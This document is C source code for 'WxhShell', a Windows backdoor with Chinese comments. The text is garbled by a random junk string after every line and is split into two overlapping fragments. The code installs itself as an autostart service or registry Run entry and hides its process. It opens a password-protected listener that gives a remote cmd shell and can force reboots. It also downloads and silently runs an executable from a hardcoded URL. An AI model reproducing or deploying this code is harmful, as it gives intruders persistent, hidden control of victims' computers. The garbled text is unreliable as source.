    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :3F&NsgHH  
    else { )M(;:#le  
    closesocket(wsh); Ho[Kxe[c  
    ExitThread(0); {M: Fsay>p  
    } O57n<J'6  
    break; nokk! v/  
    } 68 d\s 4  
  // 获取shell F VW&&ft  
  case 's': { 7eb^^a?  
    CmdShell(wsh); WCxt-+#  
    closesocket(wsh); Q#NXJvI  
    ExitThread(0); W6f?/{Oo8  
    break; *FyBkG'  
  } v-2_#  
  // 退出 .Ymoh>JRL  
  case 'x': { nxH=Ut7{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TJ9JIxnS  
    CloseIt(wsh); 0g% `L_e_  
    break; xI?%.Z;*+  
    } a$!|)+  
  // 离开 GkqKIs  
  case 'q': { d5&avL\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z zL@3/<j  
    closesocket(wsh); lN$#lyy  
    WSACleanup(); In)8AK(Hw  
    exit(1); +{Yd\{9  
    break; Wkw.z  
        } K#q1/2  
  } ?EF[OyE  
  } s0,c4y  
6$-Ex  
  // 提示信息 jyRSe^x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (VeX[*}I  
} csP 5R3  
  } =Tv;?U C  
x*GGO)r  
  return; 0LX;Vvo  
} O>UG[ZgW  
>t_5( K4  
// shell模块句柄 \IB@*_G  
int CmdShell(SOCKET sock) 2LS03 27  
{ Z_vIGH|1  
STARTUPINFO si; !p$z8~  
ZeroMemory(&si,sizeof(si)); C-Y~T;53  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n[$bk_S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,h1 z8.wD|  
PROCESS_INFORMATION ProcessInfo; *`.h8gTD,  
char cmdline[]="cmd"; :^~I@)"ov  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -Lh\]  
  return 0; M*ZR+pq,  
} +o+e*B7Eh  
dq d:V$o  
// 自身启动模式 LLp/ SWe  
int StartFromService(void) '%U'%')  
{ 5[<" _  
typedef struct -Zs.4@GH  
{ pW{Q%"W  
  DWORD ExitStatus; @Z9X^Y+u^h  
  DWORD PebBaseAddress; )IN!CmpN  
  DWORD AffinityMask; 7wKN  
  DWORD BasePriority; i=Nq`BoQf  
  ULONG UniqueProcessId; @~t^zI1  
  ULONG InheritedFromUniqueProcessId; KVQ^-^  
}   PROCESS_BASIC_INFORMATION; P`ZzrN  
5Ii`|?vg  
PROCNTQSIP NtQueryInformationProcess; Udj!y$?  
5q<cZ)v#&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -G\svwv@)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H&$L1CrdL  
wm1`<r^M.  
  HANDLE             hProcess; .`./MRC  
  PROCESS_BASIC_INFORMATION pbi; )Z4ilpU,  
6-"@j@l5<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =K#5I<x  
  if(NULL == hInst ) return 0; G;RFY!o  
e@6]rl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o2AfMSt.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gX29c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1 8*M  
~PaEhj&8  
  if (!NtQueryInformationProcess) return 0; =&%}p[ 3g  
@k+&89@G  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4F[4H\>'  
  if(!hProcess) return 0; 6 &8uLM(z  
7+(on  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]1Wh3C  
'dXGd.V7u  
  CloseHandle(hProcess); =6.4  
(5rfeSA^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \&!qw[;O  
if(hProcess==NULL) return 0; -uk}Fou  
$O'IbA  
HMODULE hMod; $U/|+*  
char procName[255]; `;~A  
unsigned long cbNeeded; 5%r:hO @S  
$@Bd}35 J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \&8 61A;  
0jJ:WPR  
  CloseHandle(hProcess); l('@~-Zy  
W1;QPdz:  
if(strstr(procName,"services")) return 1; // 以服务启动 qr@ <'wp/  
Svicw`uX0  
  return 0; // 注册表启动 luWr.<1  
} `=Z3X(Kc  
d ug^oc1  
// 主模块 JGHQzC  
int StartWxhshell(LPSTR lpCmdLine) zJ*(G_H  
{ ljP<WD  
  SOCKET wsl; fxQ4kiI  
BOOL val=TRUE; Ga]\~31NE  
  int port=0; cM_!_8o  
  struct sockaddr_in door; <B&vfKO^h  
+\R__tx;  
  if(wscfg.ws_autoins) Install(); 91#rP|88;  
PjG^L FX  
port=atoi(lpCmdLine); =]fOQN`  
%dwI;%0  
if(port<=0) port=wscfg.ws_port; jO0"`|(]s  
i5 0c N<o  
  WSADATA data; h(K}N5`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yz<$?Gblz  
O))YJh"'_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   wnU-5r&!]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8n,/hY>w  
  door.sin_family = AF_INET; `iN H`:[w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $%6.lQ  
  door.sin_port = htons(port); v[<x>?i D_  
6z5wFzJv?q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >{)\GK0i 7  
closesocket(wsl); T'ei>]y]  
return 1; I {%Y0S  
} <U y $b4h  
W#@6e')d  
  if(listen(wsl,2) == INVALID_SOCKET) { cE^Ljk  
closesocket(wsl); H+ 7HD|GE  
return 1; `>- 56 %  
} t52KF#+>  
  Wxhshell(wsl); dsn(h5,Q'  
  WSACleanup(); 2f0mr?l)N  
V-(*{/^"  
return 0; mX%T"_^  
TkR#Kzv380  
} :*ZijN*{)$  
ceuEsQ}  
// 以NT服务方式启动 ;\(LovUy6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B7wzF"  
{ mM r$~^P:  
DWORD   status = 0; dT{GB!jz  
  DWORD   specificError = 0xfffffff; +K s3  
5@J]#bp0M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t`Rbn{   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r>}z|I'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~z(0XKq0d  
  serviceStatus.dwWin32ExitCode     = 0; ;jJ4H+8  
  serviceStatus.dwServiceSpecificExitCode = 0; <iBn-EG l>  
  serviceStatus.dwCheckPoint       = 0; 0#NbAMt  
  serviceStatus.dwWaitHint       = 0; azzG  
F1S0C>N?5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ($Op*bR  
  if (hServiceStatusHandle==0) return; kRr/x-"  
WL|<xNL  
status = GetLastError(); [ahwJF#r  
  if (status!=NO_ERROR) )5`~WzA  
{ Vry*=X &Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; W7c B  
    serviceStatus.dwCheckPoint       = 0; KG4zjQf  
    serviceStatus.dwWaitHint       = 0; f1S% p  
    serviceStatus.dwWin32ExitCode     = status; A9KPU:  
    serviceStatus.dwServiceSpecificExitCode = specificError; =4sx(<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3ZN\F  
    return; Fn0 |v66  
  } dq%C~j{v  
7[mP@ {  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W56VA>ia  
  serviceStatus.dwCheckPoint       = 0; m?gGFxo  
  serviceStatus.dwWaitHint       = 0; )G;H f?M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {>PEl; ,-  
} N`{ 6<Z0  
>K&chg@Hv  
// 处理NT服务事件,比如:启动、停止 ]rSg,Q >E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h4=mGJpm  
{ hT,rcIkg:  
switch(fdwControl) M]M>z>1*v  
{ +6}CNC9Mp  
case SERVICE_CONTROL_STOP: x3( ->?)D  
  serviceStatus.dwWin32ExitCode = 0; p5py3k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7KGb2V<t  
  serviceStatus.dwCheckPoint   = 0; %"=GQ3u[  
  serviceStatus.dwWaitHint     = 0; V2xvuDHI  
  { ..k8HFz>"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6tjV^sjs  
  } hrO9_B|#  
  return; j6};K ~N`  
case SERVICE_CONTROL_PAUSE: SkC.A ?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !G6h~`[  
  break; ?Ok&,\F@E  
case SERVICE_CONTROL_CONTINUE: ,L.V>Ae  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lFduX D  
  break; _yX.Apv]  
case SERVICE_CONTROL_INTERROGATE: xG(iSuz  
  break; e2K9CE.O  
}; *-(o. !#1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XPZ8*8JL  
} R/Z7}QW  
Zy.ls&<:  
// 标准应用程序主函数 C@\5%~tW+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lzz;L z  
{ ?FUK_]  
9:GP~oI j  
// 获取操作系统版本 $.:x3TsA  
OsIsNt=GetOsVer(); ,Vo[mB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7&OJ8B/  
2_6ON   
  // 从命令行安装 1c429&-  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y"r728T`K  
hQ!59  
  // 下载执行文件 Ziub%C[oV  
if(wscfg.ws_downexe) { Lfdg5D5.P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #`f{\  
  WinExec(wscfg.ws_filenam,SW_HIDE); >}Bcv%zZ  
} P,a9B2  
/3tErc'  
if(!OsIsNt) { $~/cxLcT  
// 如果时win9x,隐藏进程并且设置为注册表启动 "frioi`a2  
HideProc(); sWMln:=  
StartWxhshell(lpCmdLine); *}';q`u }  
} ?8?vBkz~  
else | 5:2?S2R  
  if(StartFromService()) 2eeFaFif  
  // 以服务方式启动 Xdl dUK[  
  StartServiceCtrlDispatcher(DispatchTable); W[a"&,okqO  
else Ycq )$7p  
  // 普通方式启动 HwZl"!;Mry  
  StartWxhshell(lpCmdLine); qO8:|q1%;\  
3A[<LnKR^E  
return 0; aaw[ia_EL  
} WiB~sIp  
u0,QsD)_X0  
?6nB=B)/  
zS|4@t\__  
=========================================== .taP2^2Z  
,Wu$@jD/ ]  
QRrAyRf[  
%eW7AO>  
w0Ex}  
E8"&gblg  
" .boB b<  
Q _!tn*  
#include <stdio.h> WLw i  
#include <string.h> g-_=$#&{  
#include <windows.h> i>[xN[U(  
#include <winsock2.h> &!O?h/&X3  
#include <winsvc.h> DR3om;Uk  
#include <urlmon.h> $'_Q@ZBq  
67&Q<`V1*q  
#pragma comment (lib, "Ws2_32.lib") u0sN[<  
#pragma comment (lib, "urlmon.lib") j6~`C ?(  
[g<gu~  
#define MAX_USER   100 // 最大客户端连接数 W2h4ej\s  
#define BUF_SOCK   200 // sock buffer D|m0Vj b  
#define KEY_BUFF   255 // 输入 buffer bp}97ZQ  
m9sck:g#L1  
#define REBOOT     0   // 重启 8v8-5N  
#define SHUTDOWN   1   // 关机 a73VDQr I  
F%&lM[N%  
#define DEF_PORT   5000 // 监听端口 dhxzW@'nIL  
E'D16Rhp  
#define REG_LEN     16   // 注册表键长度 D_$N2>I-  
#define SVC_LEN     80   // NT服务名长度 "eOl(TSu/  
&Ejhw3Nw  
// 从dll定义API s5+;8u9K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zjcSn7iu  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K0C"s 'q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +zk5du^gZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SSla^,MHef  
0<uLQVoR2n  
// wxhshell配置信息 C@t,oDU#  
struct WSCFG { cr ]b #z  
  int ws_port;         // 监听端口 I0Allw[  
  char ws_passstr[REG_LEN]; // 口令 ||TZ[l  
  int ws_autoins;       // 安装标记, 1=yes 0=no x0{B7/FN  
  char ws_regname[REG_LEN]; // 注册表键名 M=ag\1S&ZF  
  char ws_svcname[REG_LEN]; // 服务名 cpw=2vnD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R2{]R&wtn0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i%<NKE;v7m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >b9J!'G,(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cfv: Ld m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jVOq/o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Nl,iz_2]  
6bjZW ~  
}; V6_":L"!  
SB('Nqih  
// default Wxhshell configuration }|) N5bGQe  
struct WSCFG wscfg={DEF_PORT, L aA<`  
    "xuhuanlingzhe", d/Wp>A@dob  
    1, S *J{  
    "Wxhshell", g{sp<w0  
    "Wxhshell", {: _*P TVk  
            "WxhShell Service", ,?qJAV~>  
    "Wrsky Windows CmdShell Service", U&Atgv  
    "Please Input Your Password: ", )=#Js<&3:  
  1, `^on`"\{u  
  "http://www.wrsky.com/wxhshell.exe", ''q;yKpaz  
  "Wxhshell.exe" %`$:/3P$U  
    }; 6|n3Q$p  
5W|wDy  
// 消息定义模块 <Z_\2 YW A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nm%qm  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9 ;uw3vI%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qRcg|']R  
char *msg_ws_ext="\n\rExit."; !blGc$kC  
char *msg_ws_end="\n\rQuit."; ,|?#+O{  
char *msg_ws_boot="\n\rReboot..."; 76o[qay  
char *msg_ws_poff="\n\rShutdown..."; <jYyA]Zy5  
char *msg_ws_down="\n\rSave to "; qM 1ZCt  
z(O*DwY#  
char *msg_ws_err="\n\rErr!"; 'x? |tKzd  
char *msg_ws_ok="\n\rOK!"; 1>OU~A"  
d Efk~V\  
char ExeFile[MAX_PATH]; H=WB6~8)  
int nUser = 0; -AVT+RE9z  
HANDLE handles[MAX_USER]; !H c6$  
int OsIsNt; Ygg(qB1q  
x#5[i;-c  
SERVICE_STATUS       serviceStatus; Y:Lkh>S1Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #wvGS%  
[4B (rra  
// 函数声明 1g,gilc  
int Install(void); S7cD}yx*[  
int Uninstall(void); Td7Q%7p:  
int DownloadFile(char *sURL, SOCKET wsh); ~mah.8G  
int Boot(int flag); XS^du{ai  
void HideProc(void); Zg4wd/y?  
int GetOsVer(void); nDckT+eJ  
int Wxhshell(SOCKET wsl); k`[>B k%b  
void TalkWithClient(void *cs); XPt>klf  
int CmdShell(SOCKET sock); Iw#[K  
int StartFromService(void); 5OO XCtIKf  
int StartWxhshell(LPSTR lpCmdLine); |)O;+e\  
)M[FPJP}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w+!V,lU"^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ff fWvf  
CJ)u#PmkJ  
// 数据结构和表定义 -\ew,y  
SERVICE_TABLE_ENTRY DispatchTable[] = F60m]NUM)c  
{ #Ak9f-pf  
{wscfg.ws_svcname, NTServiceMain}, 7+[L6q/K  
{NULL, NULL} 6BQq|:U  
}; NP~3!b  
~WB-WI\  
// 自我安装 +8|Xj!!*}  
int Install(void) <FZ*'F*M  
{ '?{L gj^R  
  char svExeFile[MAX_PATH]; SST@   
  HKEY key; d] E.F64{  
  strcpy(svExeFile,ExeFile); = 4'r+2[  
Y~lOkH[z  
// 如果是win9x系统,修改注册表设为自启动 yB;K|MXy?  
if(!OsIsNt) { 'Q*lp!2>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0\"]XYOH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !g~u'r'1  
  RegCloseKey(key); /B{c L`<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p8&rl|z|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gG(9&}@(  
  RegCloseKey(key); {;JFoe+  
  return 0; V`feUFw3  
    } ?i~mt'O  
  } 3%N!omAe  
} k)9 pkPl  
else { cI <T/~P  
<2I<Z'B,e  
// 如果是NT以上系统,安装为系统服务 GN|xd+O_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >lO]/3j1  
if (schSCManager!=0) _C$SaQty[Q  
{ w~e$ul(IQM  
  SC_HANDLE schService = CreateService 7zXX& S  
  ( C7 9~@%T  
  schSCManager, anUH'mcK*  
  wscfg.ws_svcname, Bjb8#n04  
  wscfg.ws_svcdisp, r$!  
  SERVICE_ALL_ACCESS, wF['oUwHH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1-pxM~Y  
  SERVICE_AUTO_START, >#xIqxV,  
  SERVICE_ERROR_NORMAL, Z&J.8A]L  
  svExeFile, lhFv2.qR  
  NULL, FWpb5jc)3  
  NULL, r@H7J 5<Y-  
  NULL, mS-{AK  
  NULL, E&b!Y'  
  NULL E uk[ @1  
  ); XZpF<7l  
  if (schService!=0) 9,A HC2kn%  
  { Sh o] ~)XX  
  CloseServiceHandle(schService); Lq5Eu$;r  
  CloseServiceHandle(schSCManager); { Em fw9L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z E},x U%  
  strcat(svExeFile,wscfg.ws_svcname); 1\if XJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .!h`(>+@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dWDf(SS  
  RegCloseKey(key); ?h|w7/9  
  return 0; fGDjX!3-S  
    } L]Dl}z  
  } !" 7ip9a  
  CloseServiceHandle(schSCManager); .s>PDzM $  
} aEC&#Q(]q  
} v.e~m2u_F  
B)(ZRH  
return 1; 1 c4I`#_v  
} TmO3hKaP  
]$ iqJL  
// 自我卸载 g{$F;qbkO  
int Uninstall(void) -JB~yO?0  
{ V|zatMHs  
  HKEY key; !$^LTBOH3  
KZt4 dr  
if(!OsIsNt) { #MI4 `FZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \>GHc}  
  RegDeleteValue(key,wscfg.ws_regname); j?cE0 hz  
  RegCloseKey(key); m%G:|`f7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6. 6g9  
  RegDeleteValue(key,wscfg.ws_regname);  C%\.  
  RegCloseKey(key); >`!Lh`n7_  
  return 0; ]&RC<imq  
  } n{v[mqm^  
} A +J&(7N  
} @{y[2M} %]  
else { ZpTT9{PT=:  
MZInS:Vj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h TY7`m">  
if (schSCManager!=0) ] M#OS$_O@  
{ Fj~,>   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3BWYSJ|  
  if (schService!=0) AUvUk<a  
  { 1'{A,!  
  if(DeleteService(schService)!=0) { lYt|C^  
  CloseServiceHandle(schService); JVgV,4 1  
  CloseServiceHandle(schSCManager); +8\1.vY  
  return 0; |Q)c{9sD  
  }  !xz0zT.  
  CloseServiceHandle(schService); LmQS;/:  
  } `96PY !$u  
  CloseServiceHandle(schSCManager); I"<ACM  
} ySk'#\d  
} a J&)-ge  
2,,t+8"`  
return 1; c0%.GcF0{  
} lQSKY}h  
VS{po:]A  
// 从指定url下载文件 Z*Fxr;)d  
int DownloadFile(char *sURL, SOCKET wsh) ' *6S0zt  
{ !C$bOhc  
  HRESULT hr; Y "RjMyQh  
char seps[]= "/"; g_l=z`,8  
char *token; n%J {Tcn6  
char *file; ^+m6lsuA  
char myURL[MAX_PATH]; dO{a!Ca  
char myFILE[MAX_PATH]; 2# y!(D8  
T3W?-,  
strcpy(myURL,sURL); d/fg  
  token=strtok(myURL,seps); g]hTz)8fF  
  while(token!=NULL) pS vqGJU3  
  { 0+]ol:i  
    file=token; y@'m D*z  
  token=strtok(NULL,seps); l,pI~A`w_  
  } o'8`>rb  
hrRkam !y  
GetCurrentDirectory(MAX_PATH,myFILE); dP0%<Q|  
strcat(myFILE, "\\"); i^2yq&uT(  
strcat(myFILE, file); y]5c!N %8  
  send(wsh,myFILE,strlen(myFILE),0); 7vRFF@eq}  
send(wsh,"...",3,0); {O4y Y=G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F"k.1.  
  if(hr==S_OK) {b<;?Dus^  
return 0; iAOm[=W  
else B`Q~p 92  
return 1; m|}};8  
S8 {Sb>  
} ^"g # !  
 m,,FNYW  
// 系统电源模块 *Z+8L*k97  
int Boot(int flag) <d$L}uQwg  
{ Q/y^ff]=  
  HANDLE hToken; ? ^E B"{  
  TOKEN_PRIVILEGES tkp; uEK9  
I(cy<ey+e  
  if(OsIsNt) { 7~2/NU?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mr`Lxy9e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B_^ ~5_0:  
    tkp.PrivilegeCount = 1; ) N8 [@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V8aLPJ0_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); MS Ml  
if(flag==REBOOT) { !zd]6YL$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~F</ s.  
  return 0; zjzW;bo( d  
} 9{{|P=  
else { _o 2pyV&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _;;'/rs j  
  return 0; ]w3-No  
} 5BL4VGwJ  
  } Z# +{ksU  
  else { YPjjSi:#  
if(flag==REBOOT) { hU:M]O0uw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /``4!jU  
  return 0; syEWc(5  
} vS! TnmF  
else { (5^bU<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) peA}/Jc  
  return 0; 8y<NT"  
} cGevFlnh  
} A]z~Dw3  
'8au j  
return 1; *u2pk>y)  
} $R\D[`y|  
Ft7{P.g  
// win9x进程隐藏模块 j^t#>tZS  
void HideProc(void) ?,_$;g  
{ ewo1^&#>  
d)G' y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %n^jho5  
  if ( hKernel != NULL ) i2a""zac  
  { E3pnu.;U:_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,rvw E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'T(7EL3$}  
    FreeLibrary(hKernel); .L,xqd[zC  
  } #].n0[  
:YL`GSl  
return; Ig9gGI,  
} ~1x,m.f8  
q,#j *  
// 获取操作系统版本 ?s4-2g  
int GetOsVer(void) ;.=ZwM]C  
{ *W'F 6Hpu  
  OSVERSIONINFO winfo; y7K&@ Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N;<.::x  
  GetVersionEx(&winfo); sh $mOy  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #=tWjInm  
  return 1; NWuJ&+gcO5  
  else P'.M.I@  
  return 0; o gcEv>0  
} 6$1dd#  
VDCG 5QP6(  
// 客户端句柄模块 (dOC ^i  
int Wxhshell(SOCKET wsl) hJqLH ?Ri  
{ zp"Lp>i  
  SOCKET wsh; W/(D"[:l%  
  struct sockaddr_in client; I~LN)hqdo  
  DWORD myID; 5r=xhOe`  
G_GPnKdd  
  while(nUser<MAX_USER) ~9&#7fU  
{ [dG&"%5vD  
  int nSize=sizeof(client); g7($lt>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H4s^&--  
  if(wsh==INVALID_SOCKET) return 1; l+6y$2QR  
{1RI!#[\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ls8@@b,t2  
if(handles[nUser]==0) /S32)=(  
  closesocket(wsh); VO _! +  
else hT `kma  
  nUser++; r-M:YB  
  } "7v/ -   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?F{sym@i  
d~bZOy  
  return 0; ?hpT"N,hF9  
} "/ N ?$  
8(yZX4OH>  
// 关闭 socket j]-0m4QF  
void CloseIt(SOCKET wsh) 3 [R<JrO  
{ |Ai/q6u  
closesocket(wsh); G?:{9. (  
nUser--; gN2$;hb?  
ExitThread(0); XJx$HM&0M  
} 7Hghn"ol  
l(c2 B  
// 客户端请求句柄 m:kXr^!D  
void TalkWithClient(void *cs) s}2TJa  
{ 4( Q_J4}P  
)7$1Da|.  
  SOCKET wsh=(SOCKET)cs; 7_OC&hhL  
  char pwd[SVC_LEN]; [}xVz"8V  
  char cmd[KEY_BUFF]; ;^XF;zpg  
char chr[1]; Rm@#GP`  
int i,j; oXC|q-(C  
oRf.34  
  while (nUser < MAX_USER) { gN,O)@N'd3  
tcDWx:Q  
if(wscfg.ws_passstr) { A -C.Bi;/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6Zr_W#SE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &zuPt5G|  
  //ZeroMemory(pwd,KEY_BUFF); e"Y ( 7<  
      i=0; zKh^BwhO|X  
  while(i<SVC_LEN) { 6MCLm.L  
5j8aMnvs  
  // 设置超时 #$5"&SM  
  fd_set FdRead; )b%t4~7  
  struct timeval TimeOut; 4>x$I9^Y!  
  FD_ZERO(&FdRead); M~rN17S  
  FD_SET(wsh,&FdRead); +3>)r{#k  
  TimeOut.tv_sec=8; :Dt]sE _d  
  TimeOut.tv_usec=0; a+HGlj 2>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -yP|CZM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0oNNEC  
]_"c_QG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u%t/W0xi  
  pwd=chr[0]; F"-u8in`  
  if(chr[0]==0xd || chr[0]==0xa) { JXx[e  
  pwd=0; aru;yR  
  break; v}cTS@0  
  } ?l> <?i  
  i++; u=6LPwiI  
    } jv ;8Mm  
Ub,5~I+`  
  // 如果是非法用户,关闭 socket +YJpVxYmZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [QwBSq8)  
} AjYvYMA&  
>g>L>{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V}Ok>6(~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h tuYctu`  
Y5ZBP?P  
while(1) { 3(oB[9]s  
kC_Kb&Q0  
  ZeroMemory(cmd,KEY_BUFF); +s j2C  
]lqe,>  
      // 自动支持客户端 telnet标准   /;X+<Wj  
  j=0; 1 u~Xk?  
  while(j<KEY_BUFF) { )MWbZAI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Hk 0RT%PK  
  cmd[j]=chr[0]; !'z"V_x~  
  if(chr[0]==0xa || chr[0]==0xd) { b Y2:g )  
  cmd[j]=0; 8C=8Wjm  
  break; ?mp}_x#=  
  } D[ v2#2  
  j++; 6no&2a|D  
    } 0woLB#v9  
6n?0MMtR  
  // 下载文件 xFScj0Y  
  if(strstr(cmd,"http://")) { D &Bdl5g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ="('  #o  
  if(DownloadFile(cmd,wsh)) gSk0#Jt  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); NX&Z=ObHu}  
  else M nnVk=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *5KDu$'(e  
  } 'j9x(T1M1  
  else { C <d]0)  
zi_0*znw  
